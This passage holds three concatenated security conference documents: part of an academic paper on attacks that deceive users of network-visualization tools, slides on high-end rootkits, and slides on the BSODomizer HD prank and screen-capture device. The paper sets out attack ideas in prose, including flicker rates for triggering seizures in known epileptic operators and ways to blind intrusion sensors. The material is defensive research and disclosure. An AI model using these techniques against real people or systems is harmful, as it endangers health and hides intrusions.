system) and Figure 3: Binary rainfall visualization of network packets. (One packet per row) Figure 5: Autoscale and motor resources attack example (overview) Figure 4: Binary visualization of two JPEG files. The left image is unaltered and the right image contains a steganographic message. Bytes from files are mapped to 256-level grayscale pixels. a color legend, users took considerable time to match the respective color to the appropriate value. In another experiment, using the same commercial system and a scatter plot, we plotted 1358 different network packets. We exceeded the number of categorical colors the system could provide and were forced to use a continuous scale. In this mode, no legend was provided. It proved impossible to identify the feature value from the color. 4.1.4 Attacking Motor Resources This class of attack attempts to consume time and increase frustration by forcing user motor actions. Attacks may be as simple as forcing paging across multiple screens, consider the rumint system described in the displacement attack, but add a buffer that stores previous pages of images. As each screen is filled, the user must interact with the interface to observe previous activity. Another example is to force user thrashing by requiring constant swapping from detail to context and back. Figures 5 and 6 illustrate this attack. The dataset behind these figures comes from an unclassified attack/defend exercise, in which a National Security Agency red team attacked student-defended networks [31]. The user is presented with an overview of network activity in Figure 5, but to see the specific port-level the network activity in Figure 6 the user must zoom in and then back out to continue to monitor the overview. In this example the user would have to perform this operation ten times just to monitor the 1024 privileged ports on a Unix system. 4.1.5 Targeting Specific Humans While the attacks described previously in section 4.2 were significant, even more effective attacks are possible if the specific human user is known. With this knowledge, an adversary may craft an attack that specifically exploits their target’s weaknesses. Vision, memory, reflexes, experience and intelligence vary greatly between individuals. Even partial knowledge of the specific end user gives the adversary an advantage; their attack may be markedly different for a 19-year-old male intern, a 37- year-old male disgruntled employee or a 58-year-old female veteran who has heavily corrected vision. We believe that some degree of knowledge of the human user to be a reasonable assumption. A few casual questions asked at an after-hours happy hour frequented by company employees would likely gain useful information. A comprehensive discussion of all such attacks is beyond the scope of this work, but we will illustrate the vulnerability by examining photosensitive epilepsy. While this condition is relatively rare, it does illustrate the increased risk when the attacker can target specific people and their weaknesses. We argue that related attacks can be launched when age, gender and/or medical details are known about users. Extreme Information Overload Attack (Photosensitive Epilepsy): Epilepsy has a lifetime prevalence of about 3% and approximately 2.3 million people in the United States have the condition. Of this population, a percentage has photosensitive epilepsy. People with photosensitive epilepsy are susceptible to seizures brought on by rapidly flickering or flashing displays. In the late 1990’s, thousands of people were sickened with nausea and dizziness by a Japanese Pokemon cartoon. In addition, there were 685 cases of apparent epileptic seizures [32]. The risk extends beyond the viewing of shows on televisions and computer monitors. Video games have also induced seizures and many now carry warning labels. It is important to note that the video game and video industries have since taken other proactive measures to limit future incidents; reducing the overall incidence of the problem. For example, the Pokemon cartoons were reviewed, frame-by-frame, before rebroadcast in the United States [30]. An attacker would do the opposite. Research by Harding indicates that the larger the area of the retina covered with the flashing display, the greater the likelihood of a seizure. In particular, flashing at the rate of 15-20 times per second was shown to be most likely to induce a seizure; 96% of people with photosensitive epilepsy were sensitive at this frequency. In addition to flashing, static patterns have induced seizures and the likelihood is dramatically increased when patterns are updated at the rate of 15- 20 changes per second [32]. With the trend toward larger displays and higher resolution the situation is worsened. In our experiments we were able to generate network traffic that caused both static and updating patterns in our network visualization system that would possibly induce seizures in some photosensitive epileptics, but we did not proceed further due to safety concerns. Figure 6: Autoscale and motor resources attack example. Note the targeted network services, originally hidden from view. 4.2 ATTACKING VISUALIZATION HARDWARE AND SOFTWARE The attacker affects attacks against the human by influencing how information is visualized. As was the case for humans, the notion of specificity is important to consider. Many of the techniques described below are most effective when used against specific information visualization systems, but others are broadly applicable. 4.2.1 Processing Attacks Processing attacks target the algorithms used to process and present the visualization. These algorithms range from simple graphic routines to advanced artificial intelligence or machine learning techniques. Attacks may be designed to increase computational complexity, e.g. creating a large number of objects such that the interface becomes sluggish or the visualization delays presentation of important information. Others may exploit intelligence embedded in the visualization system. Consider a generic spring layout algorithm. To be most effective, this algorithm relies upon the graph to reach a stable state. Carefully constructed packets could be used to force constant destabilization. Other attacks may take advantage of bugs in the code or the calculations in use, such as interpolation or round-off. To provide a concrete example of the efficacy of these classes of attack, the following section illustrates the round-off attack in detail. round-off attack: Consider the “spinning cube of potential doom” visualization system in Figure 7 [33]. Designed to provide insight into network attacks, it displays network traffic along three axes. The X-axis represents the destination IP addresses for a Class C network (65536 possible addresses), the Y-Axis displays destination ports from 0-65535 and the Z-axis displays source Internet addresses from 0.0.0.0 - 223.255.255.255 (no multicast). Assuming an approximate 1024 pixels for each axis. The X and Y axes round off 6 bits of information, leaving an opening for an attacker to operate within a space of 64 indistinguishable positions. More importantly, the Z axis rounds off approximately 22 bits of information, grouping source IP’s into buckets of over 4 million each. Thus an adversary could attack 64 machines on 64 ports from over 4 million source IP addresses and, due to round off, would only illuminate a single pixel. Note also that the visualization is also a target for a color mapping attack. It uses a “rainbow” color map representing TCP connection instances. Although a large number of colors are used, the actual color does not have “any meaning.”* 4.2.1.1 Attacking the Visualization The heart of a visualization system are the visualizations it presents to the user. Closely intertwined with processing attacks, attacks against the visualization design will have an immediate effect on the user. Some visualizations were simply not designed to convey a certain type of activity, so an attacker may easily operate with impunity. In other cases, the design is such that a small amount of malicious data can destroy or reduce the effectiveness of the system. Designers are faced with large, potentially massive, datasets and limited screen real estate to present information and are forced to make design tradeoffs that can be exploited. The following are examples of such attacks. * Except gray points which are completed TCP connections. (a) jamming (b) occlusion (c) labeling (d) GUI widget Figure 8: Representative attacks against the visualization Figure 7: View of the “Spinning Cube of Potential Doom” a 3-D visualization of network traffic designed for security awareness. (round-off attack) autoscale attack: Many visualization systems use autoscaling algorithms to provide an optimal display of information. Typically the algorithms zoom the perspective outward to display the entire dataset. While this is convenient in many cases, an attacker can easily exploit this vulnerability. The image shown in Figure 5 was created by the xmgrace open source information visualization tool [34]. A small number of packets sent by the attackers to those ports above 40,000, forced the autoscaling algorithm to zoom outward, thereby obscuring significant detail (Figure 6). jamming attack: The jamming attack is a simple attack, akin to a visual denial of service. By observing what aspects of the dataset are used to control the physical location of objects on the screen visual noise can be inserted to partially or completely corrupt the information display. As noise is inserted, insightful patterns, relationships, anomalies, outliers and trends will disappear. We produced multiple versions of this class of attack in our network visualization system by generating network packets with appropriate headers. Figure 8(a) is a parallel coordinate plot of TCP/UDP ports. The left axis shows the attacker’s source ports and the right axis shows the target machine’s ports (on a 0-65535 scale). The image shows two jamming attacks, both done using the packit packet creation tool [35]. The first attack generated 200 UDP packets (in orange) with random source and destination ports. The second attack (in green) generated 2000 TCP packets from a single source port, but random destination ports. On a 100MB network, packit generated these malicious packets at over 6600 per second. occlusion attack: Occlusion is a problem in many visualizations, particularly those in 3D, but any that plot new information over old are susceptible. An attacker can use this frequent shortcoming to hide malicious activity. In the Figure 8(b), an attacker’s malicious activity is hidden behind newer activity. labeling attack: Typically visualizations provide the ability to label the image. Depending on the labeling algorithm in use, this fact can be exploited. One popular commercial visualization system defaults to only 20 labels. If the user does not change this setting a large number of objects will not be labeled, greatly complicating user interpretation. See Figure 8(c) for an example. At the other end of the spectrum, some labeling algorithms do not limit the number of labels used and, by injecting extra data, an attack could cause the display to be obscured. GUI widget attack: User interfaces only provide a limited ability to interact with the dataset. An attacker can exploit this limitation and prevent users from detecting malicious activity despite their best attempts. Figure 8(d) shows a cluster of network activity; because of the large range of values in the overall dataset (not shown), the user is unable to zoom in any further. Any movement of the sliders will cause the entire cluster to move off the screen. Note the two red circles. Each circle shows a double-ended slider at the closest possible position. 4.2.2 Storage Attacks From our research, storage attacks against information visualization systems can occur primarily in the form of classic denial of service. Denial of information and not denial of service is the focus of the paper so we will touch only briefly on it here. Every information system has a finite amount of storage. By consuming all or most of this storage an attacker may subvert the intent of the visualization system. In the network security domain, a classic example is flooding the network with traffic, sometimes legitimate (also known as the slashdot effect) and sometimes malicious (trigger logging events to the point that the hard disk fills or malicious activity is overwritten). Variants include filling up the buffers of network interface cards such that packets are dropped or consuming RAM to the point that the operating system needs to page memory to disk (or even thrash). All of these attacks negatively impact performance and could crash or slow the system. While not strictly a storage attack, it is well documented that, in shared user systems, one user’s applications can consume resources to the performance detriment of other users. Correctly designed interfaces operate within very strict timing parameters and a sluggish interface (or visualization) that quickly becomes difficult or unusable could quickly occur. 4.2.3 Attacking Data Generation and Communication By definition, information visualization systems present data to the user in order to provide insight. If the accuracy, reliability, timeliness, completeness or currency is threatened then the entire system is at risk. Attacking data quality early in the system flow is a means to an end and not and end unto itself. The tainted data will ultimately flow upstream to the visualization system which, in turn, will alter the user’s perception and hence negatively impact task accomplishment. Recall that we do not consider data corruption attacks as we believe that they will be easily detected. We operate with the stricter assumption that an attacker can only insert data, and not modify existing data. 4.2.3.1 Attacking Data Generation In our model, data can come from human and machine producers, both of which may prove unreliable despite the best intentions of the system designer. This notion is directly opposite to the common assumption that the “source must be good.” While not the focus of this paper, physical attacks are the most straightforward attack. The most basic is physical destruction or theft which causes a failure to record data. More subtly, an attacker may spuriously add, remove or compromise information producing nodes via physical access or network attack. Consider physically turning a sensor on and off (or cutting power) which results in selected subsets of data being recorded. Note that this could occur with more than one sensor and provides the attacker the ability to paint a customized and comprehensive picture of the information space. Beyond physical access, we consider attacks that allow an attacker to operate remotely. sensor blindness attack: Network-based blindness attacks allow an attacker to remotely crash selected packet capture sensors on the network. As an example, virtually all Windows-based network sniffing programs use the WinPcap [36] packet capture library. Versions of the library have known vulnerabilities that will crash the sensor. selective sensor blindness attack: Similar to the sensor blindness attack this variant exploits differing operating system implementations of the network processing stack to avoid detection. For example, one operating system may accept a packet with an incorrect TCP checksum while another will silently ignore it. This inconsistency allows network intruders to operate without detection if the network sensor ignores the packet and a target machine accepts it. For more information see the work of Ptacek and Newsham [37]. spoofing source identity attack: Spoofing source identity is another common vulnerability, usually due to weak access controls or authentication, that allows users or network systems to appear as legitimate producers. In the network domain, it is trivially easy to spoof IP packets. The protocol offers no protection and an attacker may transmit packets with spoofed source addresses that appear to come from legitimate sources. interface spoofing attack: Interface spoofing attacks have existed since the beginning of shared computing systems. Typically they are used to trick legitimate users into revealing sensitive information, such as passwords. In the context of this paper, they can be used to trick legitimate users into submitting incorrect data to the visualization system. This technique can be seen when employing a variant of current phishing attacks. An attacker could send an email to a legitimate producer asking them to use a new website to submit information. Normal cues from the browser, such as the status bar, can be spoofed to prevent detection. See the work of Levy for more detail on this class of attack [38]. sampling rate attack: Sampling rate attacks exploit the periodicity of data collection. Due to the high rate of data flow observed by some sensors, by necessity, sample data at a constant or varying rate. This is typical in today’s network visualization systems. Even in near real time systems, a five minute sampling rate is common. By gaining an understanding of when data is sampled, an attacker can avoid detection. poisoned data attack: Poisoned data attacks are carefully crafted to inject a small amount of malformed or incorrect data to disrupt collection or analysis. These vulnerabilities may exist due to a lack of input validation at the producer as well as the consumer’s system. As we mentioned earlier, a single legal packet can have significant impact on the end user, as was seen in the autoscale attack. The same can be accomplished with a small amount of seemingly legal, but maliciously formed data. An excellent example, is the recent spate of image files that exploit vulnerabilities in image processing libraries. A single such image can crash a visualization application or provide privileged access to the attacker. 4.2.3.2 Attacking the Communication Channel Communication channels connect the information producing nodes to the information visualization system. Long a subject of network security discussion, there are a large number of vulnerabilities in current networking protocols. If communication links are not secured with message confidentiality and integrity protection, an adversary may easily perform a “man in the middle” attack and arbitrarily alter packets between the producer and the information visualization system. Also, as we have discussed, the network layer (IP) provides virtually no protection from spoofing source identity and other tampering. Common transport layer protocols (TCP and UDP), similarly provide limited protection. UDP makes no attempt. TCP relies upon the three-way handshake and session establishment to prevent spurious packets. Handshaking and session establishment provides only limited protection as an attacker can employ well- known TCP session hijacking techniques. Due to these weaknesses, an attacker can alter messages between producer and consumer at will, as well as observe all message traffic, unless some form of cryptographic protection is used. Even if a secured protocol is used, most will still be vulnerable to the following timing attack. channel timing attack: By placing a properly configured network device in-line along the communication channel between the producer and the consumer, an attacker may affect a number of timing based attacks. The channel timing attack allows the capture and replay, both faster and slower than actual, of network traffic. By altering the timeliness of how and when data is presented to users, an attacker may reduce or increase data density or alter the distribution of data values causing a direct impact on the visualization and the human. Time-series data is particularly vulnerable to this class of attack. 5 PRINCIPLES FOR COUNTERING MALICIOUS VISUALIZATIONS There is no panacea that will absolutely protect information visualization systems from attack, but there are important design principles and assumptions that will mitigate the risk. Recall that any information visualization system in which a trusted or untrusted adversary can inject or modify information places the end user at risk. As we conducted the research associated with this paper we designed a variety of security information visualization systems and fielded them in operational settings. As a result of this experience we have learned a number of lessons. As you design or redesign systems of your own, we hope that you will consider these principles and assumptions. We believe they will greatly reduce the likelihood of many classes of successful attack. In other instances, there is no clear-cut solution and the only countermeasure is awareness of the vulnerability. From our experience, often the initial design of the system itself was at fault, leading to easily exploitable vulnerabilities such as the displacement attack. Others are more difficult to implement and potentially require detailed information about the system in use or the specific user. By using these principles and considering these assumptions during design, threats may be pruned or reduced and prudent design tradeoffs may be made. Ultimately, as information visualization systems are used for critical applications we must continue to explore how we can effectively deal with threats in order to make such systems more secure and relevant. 5.1 EDUCATE THE USER The user is the ultimate target of attackers and the success or failure of an attack depends, in large part, upon their individual susceptibility. To counter many forms of attack, train users to be alert for manipulation, aware of their personal weaknesses and to take maximum advantage of system customization capabilities to counter these weaknesses. As a result, users will better protected and resistant to attack. The intelligence community uses similar techniques to help prevent successful social engineering attacks through security awareness training. 5.2 ASSUME AN INTELLIGENT, WELL INFORMED ADVERSARY Information visualization systems of any import will be targets of attack. Underestimate the attacker at your own risk [39]. To best protect your system you must assume an intelligent and well- informed adversary. The attacker may gain information through open-source (publicly available information) or through social engineering. Seemingly unimportant data may prove to be extremely valuable. As an example, such information as the time lunch was served and the location of the dining hall, both considered to be trivial pieces of information, possibly enhanced the attack on the USS Cole. It is not unrealistic to assume that an attacker knows the visualization tool in use. This assumption is strengthened in areas where a single tool dominates or there is a lack of diversity. In some cases, the attacker may possess the tool itself and the source code. This access allows an adversary full knowledge of it’s operational characteristics and implementation vulnerabilities (buffer sizes, defaults, scaling algorithms, color mapping etc.) This assumption also applies to your users, the same social techniques that are used to gather technical information can also be used to gain insight into specific operators and environmental conditions. An intelligent and well-informed adversary will target your specific system through its weakest link, at the worst time with the weakest user at the controls. The best defense is to look at your system through the eyes of an attacker, predict their likely attack courses of action and consider what you can do to counter or frustrate their actions. 5.3 DESIGN THE SYSTEM TO PROTECT THE USER. Assume the system, including the implementation and supporting information flow (from source to human consumption), will be attacked. Given this assumption, every creator of a visualization system or technique should consider malicious applications and seek to create well thought out visualizations that are resistant to attack. At the time of creation, system designers do not necessarily know the full range of future use. Assume your system will be used for critical applications and attempt to predict second and third order effects. Visualization systems typically have the human tightly coupled in the decision making loop. These systems require the limited resources of human attention and time, use them wisely. Even a small consumption of these resources by an adversary can cause unintended consequences on human decision-making. Customizable systems with intelligently chosen, attack resistant, defaults will help prevent overloading or deceiving the user, especially when combined with validated classical information visualization principles. If after your analysis, you cannot protect against a given class of attack before it reaches the user, at least assist the user in detecting one has taken place (detecting “wrongness”). 5.4 PROTECT THE DATA GENERATION AND DATA FLOW. An information visualization system is only as good as the data upon which it depends. Your ultimate goal is to improve data quality by increasing the good and reducing the bad, with emphasis on the most dangerous. It does not take much bad data to cause significant damage. In the network security domain, a single bad packet can provide root level access, waste hours of an operator’s time due to a false snort alert or hide an attack due to an auto-scaling algorithm. In most instances, information visualization systems operate in environments in which an adversary can insert malicious data. Any source of data can be manipulated by a potentially malicious entity, including legitimate users, machine producers and other trusted sources. Your data should be protected by well-validated techniques such as input and source validation and cryptography. While it is beyond the scope of this paper, designers should be aware of secure systems design best practices [5] and threat modeling [40]. In particular, consider secure protocol development (confidentiality, authentication and integrity, in particular), appropriate use (and the limits) of cryptography, suitable security and usage policies, physical security, intrusion detection and input validation. In high-risk applications, physically closing the system to outsiders (air gapping) and the use of virtual machines to separate data and processing into logical groupings may be in order. 6 CONCLUSION AND DIRECTIONS FOR FUTURE WORK Information Visualization is one way of effectively communicating information. Deception is one way to negatively affect this capability. Today’s systems are being used in critical applications to glean insights that are difficult to see using traditional non-visual techniques. As malicious entities become aware of the power of these tools, the tools themselves and the decision makers that use them will increasingly become the subject of attack. These vulnerabilities may manifest as significant attacks and we have provided real world examples to show that these attacks are real. Any system that uses data from malicious trusted or untrusted sources is at risk. Today’s visualization technology has not been designed with consideration of these risks and the notion of active malicious entities. Even carefully user-customized applications are vulnerable due to incorrect defaults, limitations in the visualizations themselves and weaknesses in the overall system. To help counter these attacks we have proposed a framework and taxonomy for analysis, presented viable attacks from the network security domain as well as design principles and assumptions to help create systems that protect both the system and the user. For the efficacy of information visualization to continue we must further explore denial of information attacks. 7 ACKNOWLEDGEMENTS We would like to thank Dr. John Stasko’s research group for their thoughtful review and comment as well as Dr. Henry Owen, Julian Grizzard and Jeff Gribschaw for their insightful comments and free use of the Georgia Tech Honeynet. Finally, we would like to thank Lieutenant Colonel Ron Dodge and the United States Military Academy’s Information Technology and Operations Center (www.itoc.usma.edu) for their continued support. 8 REFERENCES [1] Conti, G. and Abdullah, K. Passive Visual Fingerprinting of Network Attack Tools. Workshop on Visualization and Data Mining for Computer Security (VizSEC), October 2004. [2] Ahamad, M., Mark, L., Lee, W., Omicienski, E., Dos Santos, A., Liu, L. and Pu, C. Guarding the Next Internet Frontier: Countering Denial of Information Attacks. New Security Paradigms Workshop, 2002. [3] Conti, G. and Ahamad, M. Countering Denial of Information Attacks. IEEE Security and Privacy. (accepted, to be published) [4] Army Battlefield Deception Operations. Air War College, United States Air Force. http://www.au.af.mil/au/awc/awcgate /army/batdecep.htm [5] Howard, M. and LeBlanc, D. Writing Secure Code. Microsoft Press, 2002. [6] Wilkinson, L. The Grammar of Graphics. Springer-Verlag, 1999. [7] Propaganda. Disinfopedia. http://www.disinfopedia.org/wiki.phtml?title=Propaganda [8] Spence, R. Information Visualization. ACM Press, 2001. [9] Tufte, E. Visual Explanations: Images and Quantities, Evidence and Narrative. Graphics Press, 1997. [10] Tufte, E. Envisioning Information. Graphics Press, 1990. [11] Tufte, E. The Visual Display of Quantitative Information. Second Edition. Graphics Press, 2001. [12] Tufte, E. Power Point is Evil. Wired Magazine Online, http://www.wired.com/wired/archive/11.09/ppt2_pr.html [13] Tufte, E. The Cognitive Style of PowerPoint. Graphics Press, 2003. [14] Jones, G. How to Lie With Charts. Authors Choice Press, 2000. [15] Huff, D. How to Lie With Statistics. W. W. Norton and Company, 1993. [16] Globus, A. and Raible, E. Fourteen Ways to Say Nothing with Scientific Visualization. Computer, Vol. 27, No. 7, pp. 86-88, 1994. [17] Bailey, D. Twelve Ways to Fool the Masses When Giving Performance Results on Parallel Computers. Supercomputing Review, August 1991, pp. 54-55. [18] Rogowitz, B., Treinish, L. and Bryson , S. How Not to Lie With Visualization. Computers in Physics, Vol. 10, No. 3, May/June 1996, pp. 268-273. [19] Card, S., Morgan, T. and Newell, A. The Psychology of Human Computer Interaction. Lawrence Erlbaum Associates, Hillsdale, New Jersey, 1983. [20] Miller, G. The Magical Number Seven, Plus or Minus Two: Some Limits on Our Capacity for Processing Information. The Psychological Review, vol. 63, 1956, pp. 81-97. [21] Bederson, B., et al. Pad++ A Zoomable Graphical Sketchpad for Exploring Alternate Interface Physics. Journal of Visual Languages and Computing, vol. 7, no. 1, 1996, pp 3-31. [22] Roesch, M. Snort: The Open Source Intrusion Detection System. http://www.snort.org/ [23] Sniph's Cavern O' C0de, http: //www.stolenshoes.net /sniph/. [24] Conti, G., Grizzard, J., Ahamad, M. and Owen, H. "Visual Exploration of Malicious Network Objects Using Semantic Zoom, Interactive Encoding and Dynamic Queries;" IEEE Symposium on Information Visualization - Workshop on Visualization for Computer Security (VizSEC), October 2005. (submitted, under review) [25] Cook, R. Visual Perception. From Comparative Psychology: A Handbook. Garland Publishing. Article available online at http://www.pigeon.psy.tufts.edu/ecp.htm. [26] Bach, M. Fifty-two Optical Illusions and Visual Phenomena. http://www.michaelbach.de/ot/index.html [27] Bonneh, Y., Cooperman, A. & Sagi, D. Motion Induced Blindness. Nature, vol. 411, 2001, pp. 798–801. [28] Healey, C. Perception in Visualization. Department of Computer Science, North Carolina State University. http://www.csc.ncsu.edu/faculty/healey/PP/ [29] Morris, C. and Maisto, A. Psychology: An Introduction. 10th Edition, Prentice Hall. Summary available online at http://cwx.prenhall.com/bookbind/pubbooks/morris2 /chapter3/medialib/summary/1.html [30] Hafner, K. Real Queasiness in Virtual Reality. The New York Times Online, November, 19, 1998. [31] Cyber-Defense Exercise. United States Military Academy. http://www.itoc.usma.edu/cdx/ [32] Hardin, G. Photosensitive Epilepsy. Epilepsy Matters, Vol 9, No. 3, Summer 1998. [33] Lau, S. The Spinning Cube of Potential Doom. Communications of the ACM, Vol. 7, No. 46, June 2004. [34] Grace Project Homepage. http://plasma- gate.weizmann.ac.il/Grace/ [35] Bounds, Darren. Packit - Network Injection and Capture. http://packit.sourceforge.net/ [36] Windows Packet Capture Library. http://winpcap.polito.it/ [37] Ptacek, T. and Newsham, T. Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks Inc., 1998. [38] Elias, L. Interface Illusions. IEEE Security and Privacy, Vol. 2, No. 6, November/December 2004, pp. 66-69. [39] Conti, G. Why Computer Scientists Should Attend Hacker Conferences. Communications of the ACM, March 2005. [40] Swiderski, F. and Snyder, W. Threat Modeling. Microsoft Press, 2004. The views expressed in this article are those of the authors and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the United States Government. This work was supported in part by the National Science Foundation Information Technology Research award 0121643.
pdf
Boutique Kit Playing WarGames with expensive rootkits and malware Josh “m0nk” Thomas display( eratta_dc21.drink); This is Ricky… Ricky likes to drink… Drink when you see Ricky… display( eratta_dc21.abuse); Opening Question Hands up if you run Android Keep ‘em up if you run a custom ROM / Kernel Down if you actually compiled it Back up if you didn’t look at the source Back up if you didn’t do a FULL source audit Don’t lie, Santa Claus and the NSA already know the answer preso.start() •  @m0nk_dot •  Why? •  Because… logic •  My opinions != Accuvant Labs •  … blah blah blah blah blah •  This is about understanding a problem so we can fix it <header> echo $AGENDA Boring Kit – The public space of rootkits and malware No Name Given: Non Public Players and the new rules War Game 1: Hide deep, hide long War Game 2: Run off the processing grid War Game 3: Is it cold in here? Revisiting Tic-tac-toe: The fun we can have BORING KIT The public space of rootkits and malware I’m sure its fascinating but… Uber 1337 h4x0r <3 teh Malwarez But... DO NOT CARE •  Just iterative, boring, annoying crap •  Capitalism trumps innovation •  Disposable •  Non Targeted •  zzz…… Not really 0-Day •  Just go find the slides from damn near any recent talk from Mudge. Don’t listen to me NO NAME GIVEN Non Public Players and the new rules •  2+ players •  Game Play Mechanics •  Goals RTFM: Generic Game Rules Nameless people doing interesting things •  <insert generic government / state sponsored image here> •  <insert generic large multinational corporation image here> Define: Player 1 You know… “those people” Maybe Even… Or even: Define: Player 2 Define: Player 2 Define: Player 2 Define: Player 2 Game Mechanics •  We need all teh 0-Days -> gift wrap •  We need all teh Devices -> package •  Still kind of boring •  Not the real point •  Disposable... All teh 0-Dayz!!!!! Cost of the 0-Day? Need moar! No, MOAR!!!! ok, that’s better All teh Devices! I need a new computer Moar computer Computer! But I run Android, I’m special? Sure… Unless I had…. ok, that’s better •  Kit / Implant is not an 0-Day •  Actually costs real money •  Actually takes real time to dev •  But… Drudgery != Sexy Game mechanics Dev time L Moar dev time L / Real Job L L Years to Dev = $$$$$ Years to Dev = $$$$$ Years to Dev = $$$$$ Well… it’s something Goals Ok, we have a game! Didn’t take long… And the winner is…. Whatever… “jerks” Protecting the real investment Protecting the real investment But wait, I want to know more! Getting popped and burned Don’t do that to poor Ricky, OK? Final Rules of the game •  “Air to Glass” •  Playing with remote code execution that never touches data storage. define WAR GAME 1 Hide deep, hide long NandX Stop – Demo Time! •  https://github.com/monk-dot/NandX find WAR GAME 2 Run off the processing grid Clock Locking Beats •  https://github.com/monk-dot/ClockLockingBeats find WAR GAME 3 Is it cold in here? Project Burner Random fire pic from google Coming to a github near you! •  https://github.com/monk-dot/ProjectBurner find REVISITING TIC-TAC-TOE The fun we can have •  Open source all the things •  Burn all the tricks •  Sadden all the Rick Ross •  Harder you must try Stuff Goes here fatality() #CharlieSheenWinning? Questions? https://github.com/monk-dot/David-Byrne.git Josh Thomas @m0nk_dot m0nk.omg.pwnies@gmail.com jthomas@accuvant.com Whatever… fin 1125 17th Street, Suite 1700, Denver, CO 80202 800.574.0896 sales@accuvant.com www.accuvant.com
pdf
BSODomizer HD • History • HDMI 101 • FPGA: WTF?! • Design • Challenges In Debt to Our Friends • Kris Bahnsen (l33tbunni) • Raivis Rengelis (RaivisR) • Parker Dillmann (LonghornEngineer) • #tymkrs This project would not have happened without the help, support, and patience of... The Original BSODomizer • Released at DEFCON 16 (2008) • XGA (1024 x 768) w/ text only • Parallax Propeller, reprogrammable w/ PropClip • 2x CR2032 Lithium coin cells • Fully open source • Wanted to learn about FPGAs • Share our work with the hacker community • Create another ridiculous (and possibly useful) project Desired Features • Mischief • Full color, 1080p graphic capability • User-loadable images from SD card • Animated screens • Legit • Screen capture (for pentesting) • Video display calibration • Open source FPGA tool/reference design HDMI 101 • High speed, differential signalling • TMDS: 3 DATA + 1 CLK • 1080p @ 60Hz is hard and fast • Bit rate: ~3.6GHz • Pixel clock: 148.5MHz • Try doing that with a microcontroller! • High speed processing more efficiently handled by FPGA FPGA: WTF?! • Blank slate of digital logic • Configurable blocks/ connections • Behavior defined w/ schematic or HDL • Design/purchase IP modules to create hardware • System operates in parallel, synchronized to clock(s) • Danger and confusion abounds! FPGA: WTF?! • Blank slate of digital logic • Configurable blocks/ connections • Behavior defined w/ schematic or HDL • Design/purchase IP modules to create hardware • System operates in parallel, synchronized to clock(s) • Danger and confusion abounds! Preliminary Block Diagram FPGA: Cyclone V GX Starter Kit • Cyclone 5CGXFC5C6F27C7N, $179 USD • Performance v. power v. cost • Got up and running in minimal time (~2 days) • Terasic does not provide schematics or PCB layout in native format :( HDMI TX: ADV7513 • Serialization converter to reduce resources of FPGA • Included on the C5G dev. kit • We provide RGB + control signals, it magically provides HDMI-compliant TMDS outputs Early Proof of Concept Early Proof of Concept • Everything about FPGA development is slow! • Dev. tools are giant and unwieldy • Long compile/test cycles (~15 minutes) • Verilog trial by fire • Needed to figure out how to draw on screen img2mif • Converts BMP to Memory Initialization File (MIF) • Preload image into Cyclone V internal RAM • https://github.com/joegrand/img2mif • Forked from LonghornEngineer Power Supply Trickery • HDMI source current must be > 55mA per spec. • FPGAs (esp. development boards) are power hungry • How to allow pass-through mode to work at all times? • How to provide power to FPGA system when needed? Block RAM (1080p, 1bpp) • Much trial and error • Very frustration • Wow Proof of Concept Demonstration Refinements • Block RAM too small for full 1080p color image • We need 1920 * 1080 * 24bpp = ~5.93MB • External LPDDR2 SDRAM • Micron MT42L128M32D1: 512MB @ 400MHz • MicroSD card interface • Want to store screen captures & user-defined images • Need to implement the rest of the circuitry, too! • Combine everything into a functional demo PIC Front End • Microchip PIC16LF1829 • Control power to FPGA subsystem • External triggering via IR (Sharp GP1US301XP 38kHz) • Timer to delay BSOD (user configurable) • A/D to monitor battery level • Can be replaced with whatever your heart desires Apple IR Remote • NEC transmission protocol (same PHY, different data) • Start: 9ms pulse burst, 4.5ms space • Logic '1': 562.5μs pulse, 562.5μs space • Logic '0': 562.5μs pulse, 1.6875ms space • Bare bones detection w/ wide timing margins Future use Trigger on/off Reset/ enable timer Disable timer Add/subtract time HDMI RX: ADV7611 • Deserialization converter to reduce resources of FPGA • Used HDMI Light V2 as a reference/breakout board, https://github.com/esar/hdmilight-v2 Interface Board • C5G to HDMI RX (HDMI Light V2) • T-Tech QuickCircuit 5000 for nearly instant gratification • 12 mil trace/14 mil space, easily delaminated during soldering, required tiny repairs Other Subsystems • Lithium Ion Battery Charging (Microchip MCP73833) • HDMI Switch (Texas Instruments TS3DV642) • HDMI Splitter (Hacked EnjoyGadgets unit) Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich Circuit Board Sandwich HDMI Signal Path Power Supply Path • Front end & battery charging always via HDMI 5V • FPGA subsystem only powered (by battery) when triggered Current Measurements • PIC Front End = HDMI 5V @ 1.76mA • C5G Dev. Board (fully loaded) = LiPo 3.7V @ 438mA • System functions down to 3.4V (limited by PIC to 3.6V) • GSP585460 2000mAh, 3.7V Lithium Polymer • Assume 70% of capacity down to 3.6V = 1400mAh • ~3.2 hours of active BSODomy • Read 32-bit word (8bpc RGB, MSB ignored) before it's needed on the screen • Run memory access @ 2x PCLK (297 v. 148.5 MHz) • Handle clock domain crossing with FIFO • SignalTap II Logic Analyzer to peek inside the FPGA • Trial and error, and error, and error, and error... LPDDR2 SDRAM (1080p, 24bpp) FPGA RTL View Real World Demonstration Gratuitous Display Modes • Generated on-the-fly • Mostly used for debugging purposes Other Challenges • Extremely aggressive timeline • Fractional PLL conflict and physical placement • Crossing clock domains requires finesse/ synchronization to ensure signal integrity • HDMI RX implementation started, but device not responding • SD card/FAT32 implementation not done • Typos or misdefined signals/connections will not necessarily be detected by compiler! • Debugging HDL is horrendous Get BSODomized • www.grandideastudio.com/portfolio/bsodomizer *** Development notes, schematic *** Original design (schematic, source code, BOM, block diagram, Gerber plots, assembly drawing) • https://github.com/joegrand/bsodomizer-hd-pic *** Front End Subsystem (PIC16LF1829) • https://github.com/joegrand/bsodomizer-hd-c5g *** HDL for Cyclone V GX Starter Kit In Closing • Committed to a project way beyond our comfort zone • Painful & practical lessons • Easy access to FPGA development tools & resources, but still extremely complex • FPGAs fill a gap in the engineering world, worth giving them a try • Sandwich to product? • Significant engineering remains • Demand may influence decision to bring to market • Send desires to root@bsodomizer.com The End
pdf
